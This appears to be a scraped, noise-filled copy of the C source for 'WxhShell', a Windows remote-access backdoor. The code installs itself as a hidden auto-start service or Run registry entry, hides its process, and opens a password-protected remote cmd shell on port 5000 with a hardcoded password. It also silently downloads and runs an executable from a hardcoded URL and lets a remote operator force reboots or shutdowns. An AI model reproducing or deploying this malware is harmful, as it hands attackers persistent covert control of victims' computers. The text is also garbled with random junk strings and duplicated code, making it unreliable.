S PROCESS_BASIC_INFORMATION pbi; ^KO=8m( )J k),!%6\( HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); N5Rda2m if(NULL == hInst ) return 0; :SD^?.W\iT HJ+I;OJ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); vE=)qn= a g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {YzRf S NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); U#{^29ik=o Jx(`.*$ if (!NtQueryInformationProcess) return 0; vbT,!
cEm ^:F |2 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); U9ZWSDs if(!hProcess) return 0; yQ{xRtNO 9u&q{I if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _J+p[=[L $&l}
ABn CloseHandle(hProcess); c5f8pa
* M^twD* hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *6b$l.Vs if(hProcess==NULL) return 0; *4<Kz{NF _Boe" HMODULE hMod; z/&2Se: char procName[255];
Y o$NE unsigned long cbNeeded; qh<h|C]V _xVtB1@kLM if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1s@%q
< Y::I_6[eV CloseHandle(hProcess); 5\6S5JyIL ` e~nn if(strstr(procName,"services")) return 1; // 以服务启动 ]l.qp5eQ t:?8I9d return 0; // 注册表启动 gfW8s+ } .tny"a& 4?s
~S. % // 主模块 &!E+l<.RF int StartWxhshell(LPSTR lpCmdLine) E)h&<{% { ?'L3B4 SOCKET wsl; zld[uhc> BOOL val=TRUE; TDtS^(2A7K int port=0; k25:H[ struct sockaddr_in door; =eNh))] a?]"|tQ' if(wscfg.ws_autoins) Install(); ;E{k+vkqy yS)73s/MrY port=atoi(lpCmdLine); V7\@g qbwX*E~; if(port<=0) port=wscfg.ws_port; '@epiF& J4Tc q WSADATA data; B9glPcy}SS if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; }h PFd $B3<" if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; |9X$@R setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); X$<s@_#1 door.sin_family = AF_INET; nM?mdb door.sin_addr.s_addr = inet_addr("127.0.0.1"); yK #9)W- door.sin_port = htons(port); jhN]1t/\X :@H&v%h(u if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { x?unE@?\S closesocket(wsl); 5[py{Gq return 1; Qq. ht } /I>o6 CI v[O }~E7' if(listen(wsl,2) == INVALID_SOCKET) { ('u\rc2R closesocket(wsl); {xGM_vH1 return 1; *b@YoQe3! } ?^<
E#2a Wxhshell(wsl); c[I4'x WSACleanup(); FYs-vW { !((J-:= return 0; }eO{+{D+ Z"T#"FDIr } rv\yS:2 P!apAr // 以NT服务方式启动 wePhH*nQ> VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *h `P+_Q7 { (pl|RmmDz DWORD status = 0; ^"?fZSC DWORD specificError = 0xfffffff; =y$|2(6 *QIlh""6 serviceStatus.dwServiceType = SERVICE_WIN32; 5ZX P$. serviceStatus.dwCurrentState = SERVICE_START_PENDING; D[NJ{E.{ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1@}`dc serviceStatus.dwWin32ExitCode = 0; W8$ky[2R serviceStatus.dwServiceSpecificExitCode = 0; v%=@_`Ht serviceStatus.dwCheckPoint = 0; 0^L>J"o serviceStatus.dwWaitHint = 0; 007(k"=oV TBGN',, hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _=wu>h&7 if (hServiceStatusHandle==0) return; B`)gXqBt I)B+h8l72< status = GetLastError(); K>tubLYh if (status!=NO_ERROR) "\x<Zg; { #'@pL0dj serviceStatus.dwCurrentState = SERVICE_STOPPED; 8{t^< j$n serviceStatus.dwCheckPoint = 0; zree}VqD;5 serviceStatus.dwWaitHint = 0; / X
#4 serviceStatus.dwWin32ExitCode = status; O_M2Axm serviceStatus.dwServiceSpecificExitCode = specificError; vIL'&~C\y SetServiceStatus(hServiceStatusHandle, &serviceStatus); *K<|E15 , return; ODbEL/ } m=hlim;P, =Z3{6y}3p serviceStatus.dwCurrentState = SERVICE_RUNNING; *XlbD serviceStatus.dwCheckPoint = 0; gtV^6(Y serviceStatus.dwWaitHint = 0; ?51Y&gOEZ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !6R;fD#^s } .]0u#fz0y iE~][_%U // 处理NT服务事件,比如:启动、停止 jc4#k+sb VOID WINAPI NTServiceHandler(DWORD fdwControl)
MYD`P2F { wc%Wy|d switch(fdwControl) JjXuy7XQ { 3u)NkS= case SERVICE_CONTROL_STOP: e#+u8 LrN serviceStatus.dwWin32ExitCode = 0; '\MYC8" serviceStatus.dwCurrentState = SERVICE_STOPPED; sUCI+)cM3 serviceStatus.dwCheckPoint = 0; >;$C@ serviceStatus.dwWaitHint = 0; )tq&l>0h { _XO3ml\x@ SetServiceStatus(hServiceStatusHandle, &serviceStatus); Mj
guH5Uy } JBYmy_Su return; zmw <y2` case SERVICE_CONTROL_PAUSE: )\qA[rTG serviceStatus.dwCurrentState = SERVICE_PAUSED; C
V{kP8# break; . paA0j case SERVICE_CONTROL_CONTINUE: -&Cb^$.-x serviceStatus.dwCurrentState = SERVICE_RUNNING; ","O8'$OC break; :?2@qWaL case SERVICE_CONTROL_INTERROGATE: Cj,Yy break; [eb?Fd~WB] }; s#8mD!T| SetServiceStatus(hServiceStatusHandle, &serviceStatus); pdz_qj!Z } d3m!34ml hnk,U:7} // 标准应用程序主函数 LXZ0up-B- int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) :"vW;$1
} { Cggu#//Z}Q /e2CB "c // 获取操作系统版本 ^n5rUwS> OsIsNt=GetOsVer(); nE2w? GetModuleFileName(NULL,ExeFile,MAX_PATH); O ;34~k
fAMk<? // 从命令行安装 #{m~=1%;Ya if(strpbrk(lpCmdLine,"iI")) Install(); 8l?mNapy _+OnH!G0 // 下载执行文件 8(6(,WwP} if(wscfg.ws_downexe) { <WHu</ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) A>?_\<Gp WinExec(wscfg.ws_filenam,SW_HIDE); j5rB+ } Yq$KYB j <r@w`G if(!OsIsNt) { xF#'+Y // 如果时win9x,隐藏进程并且设置为注册表启动 H n^)Xw
HideProc(); !T'`L{Sj StartWxhshell(lpCmdLine); ag_RKlM3 } sbju3nvk else W<QMUu if(StartFromService()) D?Mj<|| // 以服务方式启动 hR g?H StartServiceCtrlDispatcher(DispatchTable); /:+f5\"-b else ,w9:)B7 // 普通方式启动 j$<sq StartWxhshell(lpCmdLine); Z7="on4 \Nvu[P return 0; uIvAmc4 } 1(q&(p Z8Jrt3l{2 >!U oS `GBa3 =========================================== '4"9f]: mm l`,t8 DL t "cAW FQ3{~05T RZ6[+Ygn b-`=^ny)K " sa7F-XM '[Ue0r<jn #include <stdio.h> c SV`?[a #include <string.h> 7 K5D,"D;1 #include <windows.h> 9GV1@'<Y] #include <winsock2.h> Qf>$'C(7!a #include <winsvc.h> 'o!{YLJ fM #include <urlmon.h> _x2i=SFo*$ Mur)' #pragma comment (lib, "Ws2_32.lib") |+aUy^ #pragma comment (lib, "urlmon.lib") KkIgyLM 6XFLWN-) #define MAX_USER 100 // 最大客户端连接数 9i=HZ\s3 #define BUF_SOCK 200 // sock buffer 6w"_sK?
#define KEY_BUFF 255 // 输入 buffer xa=Lu?t%< `hVi!Q]*P #define REBOOT 0 // 重启 @{X<|,W9w #define SHUTDOWN 1 // 关机 ~fht [S?@M S{0iPdUC #define DEF_PORT 5000 // 监听端口 ~OE1Sd:2 a(eKb2 CX #define REG_LEN 16 // 注册表键长度 -K@mjN #define SVC_LEN 80 // NT服务名长度 LwI A4$d O-=~Bn
_ // 从dll定义API \C&[BQ\ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); OpNxd]"T typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); DO^J=e typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); GBvgVX< typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ROWI.| TdCC,/c3 // wxhshell配置信息 B1U<m=Y struct WSCFG { sU=7)*$ int ws_port; // 监听端口 ZHN@&Gg6) char ws_passstr[REG_LEN]; // 口令 %3:[0o={d int ws_autoins; // 安装标记, 1=yes 0=no \se
/2l char ws_regname[REG_LEN]; // 注册表键名 MmbS["A char ws_svcname[REG_LEN]; // 服务名 Y6Mp[= char ws_svcdisp[SVC_LEN]; // 服务显示名 !1b4q/ char ws_svcdesc[SVC_LEN]; // 服务描述信息 5fT"`FL? char ws_passmsg[SVC_LEN]; // 密码输入提示信息 auai@)v6 int ws_downexe; // 下载执行标记, 1=yes 0=no ;usR=i36b char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" `q$a
p$? char ws_filenam[SVC_LEN]; // 下载后保存的文件名 +W7#G `> <b,oF]+;z }; =-m"y~{>3 "C/X#y
// default Wxhshell configuration &Rp/y%9 struct WSCFG wscfg={DEF_PORT, )ZQ>h{}D "xuhuanlingzhe", gic!yhsS_ 1, ]_EJ "'x "Wxhshell", \,ko'48@ "Wxhshell", B*3<(eI "WxhShell Service", ,pHQv(K/ "Wrsky Windows CmdShell Service", %@~;PS3kd "Please Input Your Password: ", l2*o@&. 1, 'O+)[D "http://www.wrsky.com/wxhshell.exe", DTMoZm "Wxhshell.exe" F*['1eAmdY }; %S$+3q%F I;g>r8N-Bu // 消息定义模块 v.q`1D1=t char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; "T4buTXJ char *msg_ws_prompt="\n\r? for help\n\r#>"; *De}3-e1b char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; J/(^Z?/~P! char *msg_ws_ext="\n\rExit."; w~%Rxdh?8W char *msg_ws_end="\n\rQuit."; s$wIL//= char *msg_ws_boot="\n\rReboot..."; $[xS>iuD char *msg_ws_poff="\n\rShutdown..."; r1A<XP|1?I char *msg_ws_down="\n\rSave to "; 49Q
tfk q(9S4F char *msg_ws_err="\n\rErr!"; [X7KlS9x2 char *msg_ws_ok="\n\rOK!"; 9{cpxJ xW.~Jt char ExeFile[MAX_PATH]; _)%Sz"g^Ix int nUser = 0; .ED8b5t| HANDLE handles[MAX_USER]; A?+0Ce&qL int OsIsNt; Re<@.d |6O7_U#q SERVICE_STATUS serviceStatus; NE)Yd7m- SERVICE_STATUS_HANDLE hServiceStatusHandle; 5I6u 2k3 &~K4I // 函数声明 M?ObK#l!_ int Install(void); 8:sQB%BB int Uninstall(void); ]/6i#fTw int DownloadFile(char *sURL, SOCKET wsh); =MjkD)l int Boot(int flag); v 1VH&~e void HideProc(void); %nV6#pr int GetOsVer(void); ) -^(Su(! int Wxhshell(SOCKET wsl); O\+b1+&b3Y void TalkWithClient(void *cs); 53<.Knw5a int CmdShell(SOCKET sock); p&$O}AX| int StartFromService(void); /_[?i"GW int StartWxhshell(LPSTR lpCmdLine); /iw$\F |8 WXs?2S* VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); R^?9V=Y<T VOID WINAPI NTServiceHandler( DWORD fdwControl ); )C>8B`^S #;])/8R% // 数据结构和表定义 NyR,@n1 SERVICE_TABLE_ENTRY DispatchTable[] = [e f&|Pi- { ^iqy|zNtn {wscfg.ws_svcname, NTServiceMain}, cfC}"As {NULL, NULL} V)Sw\tS6g }; M px98xcO P\ia ?9 // 自我安装 1'YUK"i int Install(void) =1+/`w { X-y3CO:&@h char svExeFile[MAX_PATH]; Y.b?.)u& HKEY key; O)8$aAJ)V strcpy(svExeFile,ExeFile); VD~
%6AjyN "8iIOeY-\ // 如果是win9x系统,修改注册表设为自启动
rcAPp if(!OsIsNt) { ;Xl {m`E+ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { FI"KJk' RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M3VTzwuf^S RegCloseKey(key); T$"sw7< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d<cqY<y VA RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W
P9PX RegCloseKey(key); hYbaVE return 0; nt_FqUJ } W+I""I*mV } 7DPxz'7): } ^O
QeOTF else { 0WSOA[R%[b adWH';Q: // 如果是NT以上系统,安装为系统服务 A=+1PgL66 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); iyv5\ if (schSCManager!=0) 6&;h+;h { &Lbh?C SC_HANDLE schService = CreateService *|as-!${k ( <8ih >s(C schSCManager, U'LPaf$O wscfg.ws_svcname, RqKkB8g wscfg.ws_svcdisp, i<{:J -U| SERVICE_ALL_ACCESS, fb[? sc SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , b#(X+I SERVICE_AUTO_START, %uz6iQaq]X SERVICE_ERROR_NORMAL, 9I [k3 svExeFile, NXMZTZpB7 NULL, O$7cN\Z NULL, >zfFvx_q NULL, 3/ '5#$ NULL, '<U4D NULL pv,z$3Q ); *RmD%[f if (schService!=0) =wMq!mBd { Z# %s/TL CloseServiceHandle(schService); +`7!4gxwK! CloseServiceHandle(schSCManager); ~(`&hYE strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); NQcNY= strcat(svExeFile,wscfg.ws_svcname); aMJJ|iiU if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { vDIsawbHD RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); QIfP%,LT RegCloseKey(key); `$MO;Fv,G return 0; uT>"(wnJ| } jN!VrRA } jdkqJ4&i CloseServiceHandle(schSCManager); 6a704l%#hb } E
BSjU8 } nG%<n )4RSo&9p` return 1; {^?:- #~h } 2^qJ'<2]M gnadx52FP // 自我卸载 [QIQpBL int Uninstall(void) m^ /s}WEqp { JfRLqA/ HKEY key; #~4;yY\$I Myf2"\} if(!OsIsNt) { ,0eXg if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { LK<ZF=z]Z RegDeleteValue(key,wscfg.ws_regname); ; o(:}d RegCloseKey(key); Y?- "HK: if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { uANpqT}! RegDeleteValue(key,wscfg.ws_regname); TQykXZ2Yb) RegCloseKey(key); 0J6* U[ return 0; X o[GD`t } -EE}HUP) } Oq:$GME } h0C>z2iH else { d .Q<!Au3 _zkTx7H SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); *xN?5u% if (schSCManager!=0) +F~B"a { :kC*<f\ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); NU"L1dK
@ if (schService!=0) 4n*`%V { U|b)Bw<P if(DeleteService(schService)!=0) { ,ZVhL* " CloseServiceHandle(schService); }}l jVUpC% CloseServiceHandle(schSCManager); s^k<r;'\ return 0; .LGA0 } xyHv7u%* CloseServiceHandle(schService); c9djBUAk& } \wR\i^ CloseServiceHandle(schSCManager); bc;?O`I< } 7=s7dYlu } -"I9` jhkXU+4 return 1; ikO9p|J } @k\,XV`T~t iu$Y0.H@ // 从指定url下载文件 _YN
C}PUU int DownloadFile(char *sURL, SOCKET wsh) g9Ty%|Q7( { GcG$>&, HRESULT hr; xEv?2n@A char seps[]= "/"; `NNP}O2 char *token; 4ves|pLET char *file; 1@9M[_<n5 char myURL[MAX_PATH]; X`fm5y char myFILE[MAX_PATH]; Ya-GDB;L Ap 3B' strcpy(myURL,sURL); Qn.3B token=strtok(myURL,seps); ^>^h|$ while(token!=NULL) "N)InPR- { cqT%6Si file=token; ^])s\a$ token=strtok(NULL,seps); \odns } $~\Tl:!#? 'Er\68 GetCurrentDirectory(MAX_PATH,myFILE); wh!8\9{g strcat(myFILE, "\\"); ZZ/k7(8 strcat(myFILE, file); cC]]H&'Hg+ send(wsh,myFILE,strlen(myFILE),0); i(*fv(z send(wsh,"...",3,0); 9Q1w$t~Y hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); P<;Puww/ if(hr==S_OK) EKS?3z%! return 0; -J0OtrZ else 2wa'WEx return 1; Io tc>! D&pp
< } 1tTY)Evf kh8 M= // 系统电源模块 h>p,r\X int Boot(int flag) k5*Z@a { A|GsbRuy HANDLE hToken; ,c
0]r;u! TOKEN_PRIVILEGES tkp; _#uRKy<`N jUDE)~h if(OsIsNt) { %cJdVDW`L OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); q29d= LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 1^ iLs tkp.PrivilegeCount = 1; (j(9'DjP tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 1~j,A[&|< AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); y'n<oSB} if(flag==REBOOT) { DiZ;FHnaG? if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) @!|h!p; return 0; tgHN\@yj } F5OQM?J else { 0_,un^
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {bG. X?b return 0; :&LV^A } "ZA`Lp;%w } _ q
AT%. else { Q.\vN-(
if(flag==REBOOT) { "!uS!BI? if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) T5}5uk9 return 0; iRqLLMrn } cVYu(ssC4 else { $"k1^&&E if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6q7jI
)l return 0; s@Loax6@B } /iJsa&W} } ad52a3deR OL^DuoB4q return 1; c8HETs1 } ywB0
D`s' h 0)oQrY // win9x进程隐藏模块 _Y$v=!fY& void HideProc(void) <p +7,aE_ { RWoVN$i> EW3--33s HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /Xv@g$ if ( hKernel != NULL ) y)TBg8Q { L`fT;2 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); }WF6w+ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); =vDpm, FreeLibrary(hKernel); l{VJaZ $M } t}MT<Jj CK_\K,xVT return; V343IT\ } :c`djM^ll XhN?E-WywQ // 获取操作系统版本 F5M{`:/ int GetOsVer(void) yVJ)JhV { /Ao.b|mm OSVERSIONINFO winfo; ey\(*Tu9 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?,C'\8' GetVersionEx(&winfo); f9hH{(A if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Ri}JM3\J return 1; Uo[`AzD3 else ]iZ-MG)J return 0; @&9<)1F } 84s:cO 2P{! n#" // 客户端句柄模块 \lyHQ-gWhc int Wxhshell(SOCKET wsl) = N:5#A { W9bpKmc SOCKET wsh; 6)FM83zk)K struct sockaddr_in client; pBn;:
DWORD myID; yA`,ns&n :K(+ KN( while(nUser<MAX_USER) f917F.1I { k9c`[M int nSize=sizeof(client); Z'm( M[2K wsh=accept(wsl,(struct sockaddr *)&client,&nSize); D2io3Lo$ov if(wsh==INVALID_SOCKET) return 1; }/g1 v[a4d&P handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ZB5NTNf> if(handles[nUser]==0) GB>T3l" closesocket(wsh); akwS;|SZ else h(^[WSa nUser++; w"A>mEex< } "c![s% WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 9Z3Vf[n5\ eO{2rV45O return 0; ;)sC{ "Jb } 5 L-6@@/ fvG4K( // 关闭 socket L_!}R void CloseIt(SOCKET wsh) 6U]r 3
Rr { w2K>k/v{- closesocket(wsh); ytV4qU82G nUser--; t3!~=U ExitThread(0); ~$7YEs) } 0f;|0siTAm HLh]*tQG // 客户端请求句柄 lvUWs void TalkWithClient(void *cs) ESe$6)P { RVpo,;: C4|79UG>s SOCKET wsh=(SOCKET)cs; j"&Oa&SH char pwd[SVC_LEN]; /EL3Tt char cmd[KEY_BUFF]; ?Uhjyi char chr[1]; EclsOBg int i,j; 3p'(E\VJ 2F ~SH while (nUser < MAX_USER) { ,rhNXx :r&4/sN}< if(wscfg.ws_passstr) { V<d`.9*} if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'jKCAU5/0; //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |;YDRI //ZeroMemory(pwd,KEY_BUFF); +V#dJ[,8;. i=0; / 6DW+! while(i<SVC_LEN) { %y)LBSxf 1\5po^Oioy // 设置超时 ZPHatC fd_set FdRead; y"zZ9HQM struct timeval TimeOut; G52z5-=v FD_ZERO(&FdRead); "h&[6-0' FD_SET(wsh,&FdRead); X\BdN Hr TimeOut.tv_sec=8; \u 6/nvZ]N TimeOut.tv_usec=0; 6{ pg^K int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); jYW-}2L if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 2JHV*/Q a3:1`c/~\ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D5!I{hp" pwd=chr[0]; |(9l_e| if(chr[0]==0xd || chr[0]==0xa) { Q*/jQC pwd=0; 5"Y:^_8 break; hP
jL } o7yvXrpG(U i++; ~VPE9D@ } `L.nj6F Lvn+EM // 如果是非法用户,关闭 socket
_,*QJ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #?bOAWAwLh } 2*zMLI0. 59(} D'lw> send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >< Qp%yT send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); IpVtbDW U@)WTH6d while(1) { _147d5 CW~c<," ZeroMemory(cmd,KEY_BUFF); }`uq:y @DyMq3Gt?& // 自动支持客户端 telnet标准 g<i>252> j=0; [ _&z+ while(j<KEY_BUFF) { 2c5)pIVEy if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (z%OK[ cmd[j]=chr[0]; Qs_]U if(chr[0]==0xa || chr[0]==0xd) { |PLWF[+t8 cmd[j]=0; vz)zl2F5sY break; ^i17MvT'
} #LG<o3An j++; 8b+%:eJ } !GoHCe[10 CrX1qyR // 下载文件 qkq^oHI if(strstr(cmd,"http://")) { <;dFiI-GO# send(wsh,msg_ws_down,strlen(msg_ws_down),0); GUsJF;;V if(DownloadFile(cmd,wsh)) .+-7 'ux send(wsh,msg_ws_err,strlen(msg_ws_err),0); M =GF@C;b else 6,skF^ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h ?+vH{}j } -M`+hVs? else { }M9I]\ (vbI4&r switch(cmd[0]) { >):>Pz%U "^Vfo$q // 帮助 E}|IU Pm case '?': { UFr5'T send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); vt}A6mF break; oF5~|&C } M V~3~h8 // 安装 |f+fG=a67V case 'i': { =M34
HPG if(Install()) Qh4Z{c@ send(wsh,msg_ws_err,strlen(msg_ws_err),0); \2)~dV:6+ else 'tq4-11xB send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AXpyia7nU break; P? LpI`f } .OD{^Kq2 // 卸载 4% 2MY\ case 'r': { dxF)) Z if(Uninstall()) 6Xt c3 send(wsh,msg_ws_err,strlen(msg_ws_err),0); $`Aps7A else 2QV|NQSl send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Iyt.`z break; !Bb^M3iA } ngH_p> // 显示 wxhshell 所在路径 h=ko_/< case 'p': { ^1[u'DW4 char svExeFile[MAX_PATH]; 6 kAXE\T strcpy(svExeFile,"\n\r"); s!/Q>A strcat(svExeFile,ExeFile); fMRMQR=6B send(wsh,svExeFile,strlen(svExeFile),0); UjS,<>fm break; /@K1"/fqH } o,=dm@j // 重启 &y:SK) case 'b': { 6>/g`%`N send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); e}W|wJ):j@ if(Boot(REBOOT)) MrpT5|t send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'E#Bz"T else { x5W.
3* closesocket(wsh); !a9/8U_>XF ExitThread(0); E%\Ohs7 } >/DlxYG? break; IVSd,AR7yY } YRJw,xl // 关机 b`DPf@p^kc case 'd': { ~.8p8\H send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); R8fB
8 ) if(Boot(SHUTDOWN)) LT)G"U~ send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]08
~"p else {
:O{
ZZ closesocket(wsh); |ea}+N ExitThread(0); Cb;49;q } *`bAu * break; zgA/B{DaC; } bJ9K!6s??` // 获取shell 3 3b 3v\N case 's': { BW&)Zz CmdShell(wsh); NEX{vZkgw closesocket(wsh); #Ue_ ExitThread(0); ]jwF[D break; .06[*S } w:o,mzuXK // 退出 vrvOPLiQ case 'x': { _0qp!-l} send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); DsF<P@O6 CloseIt(wsh); ffS]%qa break; Y'2 |GJc2 } Fs;_z9ej-u // 离开
.'^Pg case 'q': { L:RMZp*bK send(wsh,msg_ws_end,strlen(msg_ws_end),0); KJN{p~Q closesocket(wsh); e'1}5Ky WSACleanup(); Ra^GbT|Z exit(1); wx)Yl1C break; c*`=o(S } 0?8{q{ o+ } >TZyax<: } =aE!y5 haIH `SY // 提示信息 1A-ess\ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R3gg{hQ } YVB\9{H? } ld/\`s[i AF-uTf return; fs
wQ* } q~*> ;]xJC
j // shell模块句柄 l<=Y.P_2 int CmdShell(SOCKET sock) u}I\!-EX!v { or]kXefG3 STARTUPINFO si; [DO UIR9 ZeroMemory(&si,sizeof(si)); Uk|(VR9 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; nRlvW{p; si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; zeG_H}[2& PROCESS_INFORMATION ProcessInfo; D "9Hv3 char cmdline[]="cmd"; b(|1DE0Cv CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); mu}T,+9\ return 0; t^-yK;`?q: } \w\{x0u Ju.B!)uS# // 自身启动模式 WaYT7 : int StartFromService(void) +Q6}kbDI { 1Ydym2 typedef struct maR5hgWCHe { ([a[fi DWORD ExitStatus; DKxzk~sOM DWORD PebBaseAddress; XKt">W DWORD AffinityMask; tW|K\NL DWORD BasePriority; sX$EdIq ULONG UniqueProcessId; yYM_ ULONG InheritedFromUniqueProcessId; 2dUVHu= + } PROCESS_BASIC_INFORMATION; 'CSIC8M<j (R)( %I1Oz PROCNTQSIP NtQueryInformationProcess; ?E:L6,a 98AX=%8 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; N]6M4j! static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; szx7CP`<8 W4~:3Sk HANDLE hProcess; L+o"<LV] PROCESS_BASIC_INFORMATION pbi; `$odxo+ G 0;5I_D/ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); dy%#E2f if(NULL == hInst ) return 0; Ysz&/ry ApxGrCu g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); lYq4f|5H}m g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); R<jt$--H NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }+4^ZbX+: <Fa]k'<^) if (!NtQueryInformationProcess) return 0; io{uN/!X_J Vx6/Rehj hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); #- hYjE5 if(!hProcess) return 0; {2Jn#&Z29 D-<9kBZs if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -1 Ok_h" &hb:~> CloseHandle(hProcess); Ow\dk^\-G8 ZH<:YOQ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); HX77XTy 